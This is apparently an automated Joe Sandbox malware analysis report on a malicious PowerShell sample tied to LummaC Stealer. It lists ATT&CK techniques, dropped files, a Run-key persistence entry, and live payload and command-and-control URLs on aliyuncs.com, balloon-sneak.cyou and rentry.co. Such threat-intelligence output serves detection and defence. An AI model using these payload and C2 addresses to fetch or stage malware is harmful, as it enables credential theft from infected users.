Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Process Discovery	SSH	Keylogging	115 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 DLL Side-Loading	Cached Domain Credentials	121 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	211 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.ps1	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\nmovbfii	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Driver\BLZFBFHKHWJ\Setup.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Driver\msvcr90.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Driver\python27.dll	8%	ReversingLabs
C:\Users\user\AppData\Roaming\FeGIPCnK\Data\Updater.ex	0%	ReversingLabs
C:\Users\user\AppData\Roaming\FeGIPCnK\Data\d3dcompiler_47.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\FeGIPCnK\Data\ffmpeg.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\FeGIPCnK\NAudio.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\FeGIPCnK\RcClientBase.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\FeGIPCnK\Resource.ct	0%	ReversingLabs
C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\FeGIPCnK\UpdateClient.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\FeGIPCnK\UpdateCommon.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\FeGIPCnK\config.prx	0%	ReversingLabs
C:\Users\user\AppData\Roaming\FeGIPCnK\msvcr90.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\FeGIPCnK\python27.dll	8%	ReversingLabs

Source	Detection	Scanner	Label
https://sandisk2.oss-ap-northeast-2.aliyuncs.com/bUAmCazc.txt	100%	Avira URL Cloud	malware
https://balloon-sneak.cyou/?	0%	Avira URL Cloud	safe
https://balloon-sneak.cyou/api	0%	Avira URL Cloud	safe
https://balloon-sneak.cyou:443/apiicrosoft	0%	Avira URL Cloud	safe
https://sandisk2.oss-ap-northeast-2.aliyuncs.com	100%	Avira URL Cloud	malware
https://balloon-sneak.cyou/o	0%	Avira URL Cloud	safe
https://balloon-sneak.cyou:443/api	0%	Avira URL Cloud	safe
https://balloon-sneak.cyou/	0%	Avira URL Cloud	safe
https://balloon-sneak.cyou/apiult	0%	Avira URL Cloud	safe
https://balloon-sneak.cyou/apiEW	0%	Avira URL Cloud	safe
http://www.company.com/printers.	0%	Avira URL Cloud	safe
http://www.microsoft.coZ	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
rentry.co	104.26.3.16	true	false	high
sandisk2.oss-ap-northeast-2.aliyuncs.com	149.129.12.34	true	false	unknown
balloon-sneak.cyou	172.67.170.85	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://balloon-sneak.cyou/api	true	Avira URL Cloud: safe	unknown
https://sandisk2.oss-ap-northeast-2.aliyuncs.com/bUAmCazc.txt	true	Avira URL Cloud: malware	unknown
https://rentry.co/feouewe5/raw	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	msiexec.exe, 0000000E.00000003.3417122031.000000000543C000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417195947.0000000005439000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417294516.0000000005439000.00000004.00000001.00020000.00000000.sdmp	false		high
http://repository.certum.pl/ctsca2021.cer0A	powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.certum.pl/ctsca2021.crl0o	powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	msiexec.exe, 0000000E.00000003.3417122031.000000000543C000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417195947.0000000005439000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417294516.0000000005439000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.vmware.com/0	Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	msiexec.exe, 0000000E.00000003.3501872729.000000000081D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000003.00000002.2954419212.000001EE31964000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	msiexec.exe, 0000000E.00000003.3501808055.000000000081C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3501872729.000000000081D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.digicert.c	Setup.exe, 00000006.00000002.2969968108.0000000002B4C000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175360678.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352324403.0000000002AC4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	msiexec.exe, 0000000E.00000003.3417122031.000000000543C000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417195947.0000000005439000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417294516.0000000005439000.00000004.00000001.00020000.00000000.sdmp	false		high
https://balloon-sneak.cyou/?	msiexec.exe, 0000000E.00000003.3665451431.0000000000774000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3736738222.0000000000772000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rentry.co/t~C	msiexec.exe, 0000000E.00000003.3726480126.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3736950850.00000000007D1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3726341119.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://contoso.com/rdweb/Feed/webfeed.aspx.	powershell.exe, 00000003.00000002.2920203144.000001EE22609000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000010.00000002.3748251347.0000000004861000.00000004.00000800.00020000.00000000.sdmp	false		high
http://subca.ocsp-certum.com05	powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	msiexec.exe, 0000000E.00000003.3500401744.0000000005428000.00000004.00000001.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	msiexec.exe, 0000000E.00000003.3500401744.0000000005428000.00000004.00000001.00020000.00000000.sdmp	false		high
http://subca.ocsp-certum.com02	powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	msiexec.exe, 0000000E.00000003.3417122031.000000000543C000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417195947.0000000005439000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417294516.0000000005439000.00000004.00000001.00020000.00000000.sdmp	false		high
http://subca.ocsp-certum.com01	powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000003.00000002.2954419212.000001EE31964000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.2954419212.000001EE31964000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.certum.pl/ctnca2.crl0l	powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://repository.certum.pl/ctnca2.cer09	powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://rentry.co/I	msiexec.exe, 0000000E.00000003.3726480126.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3736950850.00000000007D1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3726341119.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	msiexec.exe, 0000000E.00000003.3501467045.000000000551F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.3267245519.000001A79BD51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE218F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3748251347.0000000004861000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.certum.pl/CPS0	powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://rentry.co/O	msiexec.exe, 0000000E.00000003.3726480126.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3736950850.00000000007D1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3726341119.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://python.org/dev/peps/pep-0263/	Setup.exe, 0000000F.00000002.3353022145.000000006ADFA000.00000002.00000001.01000000.0000000A.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.2954419212.000001EE31964000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000003.00000002.2920203144.000001EE21CE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://balloon-sneak.cyou:443/apiicrosoft	msiexec.exe, 0000000E.00000002.3736738222.000000000075E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://balloon-sneak.cyou/apiEW	msiexec.exe, 0000000E.00000003.3499916719.0000000005401000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3500712811.0000000005401000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.certum.pl/ctnca.cer09	powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://balloon-sneak.cyou/o	msiexec.exe, 0000000E.00000003.3665451431.0000000000774000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3736738222.0000000000772000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	msiexec.exe, 0000000E.00000003.3417122031.000000000543C000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417195947.0000000005439000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417294516.0000000005439000.00000004.00000001.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000003.00000002.2920203144.000001EE21B18000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000003.00000002.2920203144.000001EE21CE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.certum.pl/ctnca.crl0k	powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000003.00000002.2920203144.000001EE21B18000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl3.digicer	Setup.exe, 00000006.00000002.2969968108.0000000002B4C000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175360678.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352324403.0000000002AC4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://balloon-sneak.cyou/	msiexec.exe, 0000000E.00000003.3665451431.000000000077F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000003.00000002.2954419212.000001EE31964000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.vmware.com/0/	Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	msiexec.exe, 0000000E.00000003.3417122031.000000000543C000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417195947.0000000005439000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417294516.0000000005439000.00000004.00000001.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	msiexec.exe, 0000000E.00000003.3500401744.0000000005428000.00000004.00000001.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	msiexec.exe, 0000000E.00000003.3500401744.0000000005428000.00000004.00000001.00020000.00000000.sdmp	false		high
https://balloon-sneak.cyou:443/api	msiexec.exe, 0000000E.00000002.3736738222.000000000075E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.certum.pl/CPS0	powershell.exe, 00000003.00000002.2920203144.000001EE2306F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sandisk2.oss-ap-northeast-2.aliyuncs.com	powershell.exe, 00000003.00000002.2920203144.000001EE21B18000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	msiexec.exe, 0000000E.00000003.3417122031.000000000543C000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417195947.0000000005439000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417294516.0000000005439000.00000004.00000001.00020000.00000000.sdmp	false		high
http://c0rl.m%L	Setup.exe, 0000000F.00000002.3352324403.0000000002AC4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.symauth.com/cps0(	Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	msiexec.exe, 0000000E.00000003.3501808055.000000000081C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3501872729.000000000081D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	msiexec.exe, 0000000E.00000003.3501467045.000000000551F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000003.00000002.2920203144.000001EE21B18000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	msiexec.exe, 0000000E.00000003.3417122031.000000000543C000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417195947.0000000005439000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417294516.0000000005439000.00000004.00000001.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	msiexec.exe, 0000000E.00000003.3501808055.000000000081C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3501872729.000000000081D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	msiexec.exe, 0000000E.00000003.3501808055.000000000081C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3501872729.000000000081D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.symauth.com/rpa00	Setup.exe, 00000006.00000002.2970037689.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002E4C000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.00000000045C8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.0000000004454000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002C24000.00000004.00000020.00020000.00000000.sdmp	false		high
https://rentry.co/	msiexec.exe, 0000000E.00000003.3726480126.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3736950850.00000000007D1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3726341119.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000003.00000002.2920203144.000001EE21CE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	msiexec.exe, 0000000E.00000003.3500401744.0000000005428000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.info-zip.org/	Setup.exe, 00000006.00000002.2970037689.0000000002C4F000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175433199.0000000002DF6000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000C.00000002.3333044160.000000000457F000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3737522397.000000000440B000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352405472.0000000002BCE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	msiexec.exe, 0000000E.00000003.3501808055.000000000081C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3501872729.000000000081D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://balloon-sneak.cyou/apiult	msiexec.exe, 0000000E.00000003.3665366727.0000000005411000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3738355439.0000000005411000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	msiexec.exe, 0000000E.00000003.3501808055.000000000081C000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3501872729.000000000081D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.microsoft.coZ	powershell.exe, 00000003.00000002.3009871842.000001EE39A62000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.3267245519.000001A79BDBC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.3267245519.000001A79BD9F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2920203144.000001EE218F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://rentry.co:443/feouewe5/rawK	msiexec.exe, 0000000E.00000002.3736738222.000000000075E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://rentry.co/feouewe5/raw6	msiexec.exe, 0000000E.00000002.3738355439.0000000005402000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	msiexec.exe, 0000000E.00000003.3417122031.000000000543C000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417195947.0000000005439000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000003.3417294516.0000000005439000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.company.com/printers.	powershell.exe, 00000003.00000002.2920203144.000001EE23939000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl3.d	Setup.exe, 00000006.00000002.2969968108.0000000002B4C000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000A.00000002.3175360678.0000000002CF6000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 0000000F.00000002.3352324403.0000000002AC4000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.26.3.16	rentry.co	United States	13335	CLOUDFLARENETUS	false
149.129.12.34	sandisk2.oss-ap-northeast-2.aliyuncs.com	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
172.67.170.85	balloon-sneak.cyou	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1565311
Start date and time:	2024-11-29 15:44:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.ps1
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winPS1@23/217@3/3
EGA Information:	Successful, ratio: 57.1%
HCA Information:	Successful, ratio: 97% Number of executed functions: 35 Number of non-executed functions: 142
Cookbook Comments:	Found application associated with file extension: .ps1 Override analysis time to 240s for powershell

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target msiexec.exe, PID 6664 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 6380 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6728 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.ps1

Simulations

Behavior and APIs

Time	Type	Description
09:45:03	API Interceptor	83x Sleep call for process: powershell.exe modified
09:46:34	API Interceptor	4x Sleep call for process: Setup.exe modified
09:47:03	API Interceptor	2x Sleep call for process: more.com modified
09:47:15	API Interceptor	8x Sleep call for process: msiexec.exe modified
15:46:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run NetUtilityApp C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe
15:46:49	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run NetUtilityApp C:\Users\user\AppData\Roaming\FeGIPCnK\Setup.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.26.3.16	grA6aqodO5.exe	Get hash	malicious	Python Stealer, CStealer	Browse
	SecuriteInfo.com.Trojan.PackedNET.2915.5813.28001.exe	Get hash	malicious	XWorm	Browse
	nkYzjyrKYK.exe	Get hash	malicious	Babadeda	Browse
	R6IuO0fzec.exe	Get hash	malicious	Python Stealer, CStealer	Browse
	FluxusV2.exe	Get hash	malicious	Python Stealer, CStealer	Browse
	egFMhHSlmf.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.Win64.TrojanX-gen.20834.9882.exe	Get hash	malicious	Unknown	Browse
	4wx72yFLka.exe	Get hash	malicious	Python Stealer, CStealer, Chaos	Browse
	quotation.js	Get hash	malicious	Unknown	Browse
	Quote.js	Get hash	malicious	Unknown	Browse
149.129.12.34	https://sandisk2.oss-ap-northeast-2.aliyuncs.com	Get hash	malicious	Unknown	Browse
172.67.170.85	bUAmCazc.ps1	Get hash	malicious	LummaC Stealer	Browse
172.67.170.85	vc9dXDjnki.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sandisk2.oss-ap-northeast-2.aliyuncs.com	https://sandisk2.oss-ap-northeast-2.aliyuncs.com	Get hash	malicious	Unknown	Browse	149.129.12.34
rentry.co	bUAmCazc.ps1	Get hash	malicious	LummaC Stealer	Browse	104.26.2.16
	IaslcsMo.ps1	Get hash	malicious	LummaC Stealer	Browse	172.67.75.40
	IaslcsMo.txt.ps1	Get hash	malicious	LummaC Stealer	Browse	172.67.75.40
	owuP726k3d.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	172.67.75.40
	gkzHdqfg.ps1	Get hash	malicious	LummaC Stealer	Browse	172.67.75.40
	xaSPJNbl.ps1	Get hash	malicious	LummaC	Browse	172.67.75.40
	Exploit Detector.bat	Get hash	malicious	Unknown	Browse	172.67.75.40
	MilwaukeeRivers.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.75.40
	http://www.thearchiterra.gr/	Get hash	malicious	Unknown	Browse	104.26.2.16
	RobCheat.exe	Get hash	malicious	Python Stealer, CStealer	Browse	172.67.75.40
balloon-sneak.cyou	bUAmCazc.ps1	Get hash	malicious	LummaC Stealer	Browse	172.67.170.85

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	botx.m68k.elf	Get hash	malicious	Mirai	Browse	47.240.238.141
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	47.52.22.235
	https://sandisk2.oss-ap-northeast-2.aliyuncs.com	Get hash	malicious	Unknown	Browse	149.129.12.34
	nabx86.elf	Get hash	malicious	Unknown	Browse	47.89.129.239
	ppc.elf	Get hash	malicious	Mirai	Browse	8.222.72.209
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	47.241.230.169
	arm5.elf	Get hash	malicious	Mirai	Browse	8.222.72.217
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	47.243.141.232
	W3MzrFzSF0.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	8.210.114.150
	ppc.elf	Get hash	malicious	Unknown	Browse	47.241.146.210
CLOUDFLARENETUS	bUAmCazc.ps1	Get hash	malicious	LummaC Stealer	Browse	172.67.170.85
	http://myhobbybuys.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://29112024red01kamcjduq.z33.web.core.windows.net	Get hash	malicious	TechSupportScam	Browse	104.17.25.14
	http://antena1.rtp.pt	Get hash	malicious	RATDispenser	Browse	104.22.62.150
